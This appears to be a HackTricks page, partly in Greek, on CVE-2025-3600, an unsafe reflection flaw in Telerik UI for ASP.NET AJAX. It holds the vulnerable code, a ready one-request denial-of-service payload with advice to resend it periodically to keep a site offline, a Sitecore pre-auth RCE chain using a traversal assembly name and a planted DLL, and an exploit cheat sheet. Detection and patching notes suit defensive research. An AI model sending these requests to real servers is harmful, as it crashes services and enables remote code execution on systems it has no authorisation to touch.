private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Exploit primitive: Ελεγχόμενη συμβολοσειρά τύπου → Type.GetType την επιλύει → Activator.CreateInstance εκτελεί τον δημόσιο κατασκευαστή χωρίς παραμέτρους. Ακόμη κι αν το αίτημα απορριφθεί στη συνέχεια, οι παρενέργειες του gadget έχουν ήδη συμβεί.

## Καθολικό DoS gadget (δεν απαιτούνται app-specific gadgets)

Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper στο System.Management.Automation (PowerShell) έχει έναν finalizer που αποδεσμεύει ένα μη αρχικοποιημένο handle, προκαλώντας μη χειριζόμενη εξαίρεση όταν το GC τον τελικοποιεί. Αυτό προκαλεί αξιόπιστο crash στη διαδικασία worker του IIS λίγο μετά τη δημιουργία του αντικειμένου.

Αίτημα DoS μίας χρήσης:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

• Keep sending periodically to keep the site offline. You may observe the constructor being hit in a debugger; crash occurs on finalization.

Από DoS σε RCE – μοτίβα κλιμάκωσης

Η εκτέλεση unsafe constructor ξεκλειδώνει πολλά target‑specific gadgets και chains. Αναζητήστε:

1. Parameterless constructors that process attacker input

• Some ctors (or static initializers) immediately read Request query/body/cookies/headers and (de)serialize them.
• Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body “layout” and deserializes JSON via JSON.NET.

2. Constructors that touch files

• Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).

3. Constructors performing app-specific ops

• Resetting state, toggling modules, or terminating processes.

4. Constructors/static ctors that register AppDomain event handlers

• Many apps add AppDomain.CurrentDomain.AssemblyResolve handlers that build DLL paths from args.Name without sanitization. If you can influence type resolution you can coerce arbitrary DLL loads from attacker‑controlled paths.

5. Forcing AssemblyResolve via Type.GetType

• Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:

This.Class.Does.Not.Exist, watchTowr

6. Finalizers με καταστροφικές παρενέργειες

• Ορισμένοι τύποι διαγράφουν αρχεία με σταθερή διαδρομή μέσα σε finalizers. Συνδυασμένο με link-following ή προβλέψιμες διαδρομές, αυτό μπορεί να επιτρέψει local privilege escalation σε ορισμένα περιβάλλοντα.

Example pre‑auth RCE chain (Sitecore XP)

• Step 1 – Pre‑auth: Trigger a type whose static/instance ctor registers an insecure AssemblyResolve handler (e.g., Sitecore’s FolderControlSource in ControlFactory).
• Step 2 – Post‑auth: Obtain write into a resolver-probed directory (e.g., via an auth bypass or weak upload) and plant a malicious DLL.
• Step 3 – Pre‑auth: Use CVE‑2025‑3600 with a non-existent type and a traversal‑laden assembly name to force the resolver to load your planted DLL → code execution as the IIS worker.

Trigger examples

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Επικύρωση, hunting και DFIR σημειώσεις

• Safe lab validation: Fire the DoS payload and watch for app pool recycle/unhandled exception tied to the WSMan finalizer.
• Αναζήτηση στην τηλεμετρία:
• Αιτήσεις προς /Telerik.Web.UI.WebResource.axd με type=iec και ασυνήθιστες τιμές prtype.
• Αποτυχημένες φορτώσεις τύπων και γεγονότα AppDomain.AssemblyResolve.
• Ξαφνικά κρασαρίσματα/επανεκκινήσεις του w3wp.exe μετά από τέτοιες αιτήσεις.

Mitigation

• Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.
• Αφαιρέστε ή περιορίστε την έκθεση του Telerik.Web.UI.WebResource.axd όπου είναι δυνατόν (WAF/rewrites).
• Αγνοήστε ή ενισχύστε τον χειρισμό του prtype στο server-side (η αναβάθμιση εφαρμόζει κατάλληλους ελέγχους πριν τη δημιουργία του αντικειμένου).
• Ελέγξτε και ενισχύστε τους προσαρμοσμένους χειριστές AppDomain.AssemblyResolve. Αποφύγετε τη δημιουργία διαδρομών από args.Name χωρίς έλεγχο/καθαρισμό· προτιμήστε strong-named loads ή whitelists.
• Περιορίστε τις τοποθεσίες upload/write και αποτρέψτε την απόθεση DLL σε φακέλους που εξετάζονται.
• Παρακολουθείτε απόπειρες φόρτωσης μη-υπάρχοντος τύπου για να εντοπίσετε κατάχρηση του resolver.

Σημείωμα γρήγορης αναφοράς

• Έλεγχος παρουσίας:
• GET /Telerik.Web.UI.WebResource.axd
• Αναζητήστε αντιστοίχιση handler στο web.config
• Exploit skeleton:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>

• Universal DoS:

...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

• Ενεργοποίηση resolver:

This.Class.Does.Not.Exist, watchTowr

Σχετικές τεχνικές

• IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

• ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Αναφορές

• Progress Telerik – Unsafe Reflection Vulnerability (3600)
• watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
• Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
• ZDI – Abusing arbitrary file deletes to escalate privilege
• watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks

• Δες τα subscription plans!
• Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
• Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.